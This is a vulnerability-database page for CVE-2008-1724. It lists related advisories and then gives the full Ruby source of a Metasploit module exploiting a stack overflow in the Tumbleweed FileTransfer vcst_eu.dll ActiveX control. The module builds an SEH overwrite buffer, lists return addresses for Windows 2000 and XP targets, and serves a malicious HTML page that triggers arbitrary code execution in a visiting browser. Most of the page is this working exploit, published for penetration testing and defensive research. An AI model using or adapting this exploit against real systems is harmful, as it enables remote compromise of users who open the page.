Lucene search
Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow, executes arbitrary code via overly long 'remotefile' string
Show more
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Tumbleweed SecureTransport FileTransfer - 'vcst_eu.dll' ActiveX Control Buffer Overflow (Metasploit) | 15 Jun 201000:00 | – | exploitdb |
| Tumbleweed SecureTransport 4.6.1 FileTransfer - ActiveX Buffer Overflow | 7 Apr 200800:00 | – | exploitdb |
 | CVE-2008-1724 | 11 Apr 200819:05 | – | nvd |
 | Stack overflow | 11 Apr 200819:05 | – | prion |
 | CVE-2008-1724 | 11 Apr 200819:00 | – | cvelist |
 | Tumbleweed SecureTransport vcst_eu.dll ActiveX Control Buffer Overflows | 21 Aug 201300:00 | – | nessus |
 | Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow | 7 Apr 200807:57 | – | metasploit |
 | CVE-2008-1724 | 11 Apr 200819:05 | – | cve |
`##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the vcst_eu.dll
FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
SecureTransport suite. By sending an overly long string to the
TransferFile() 'remotefile' function, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'patrick',
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1724'],
[ 'OSVDB', '44252'],
[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
[ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ],
[ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'DisclosureDate' => '07 Apr 2008',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
vurl = rand_text_alpha(rand(100) + 1)
vhostName = rand_text_alpha(rand(100) + 1)
vlocalFile = rand_text_alpha(rand(100) + 1)
vMD5 = rand_text_alpha(rand(100) + 1)
# Build the exploit buffer
filler = rand_text_alpha(4620)
seh = generate_seh_payload(target.ret)
sploit = filler + seh
# Build out the message
content = %Q|
<html>
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
<script language="javascript">
#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo26 Nov 2009 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.912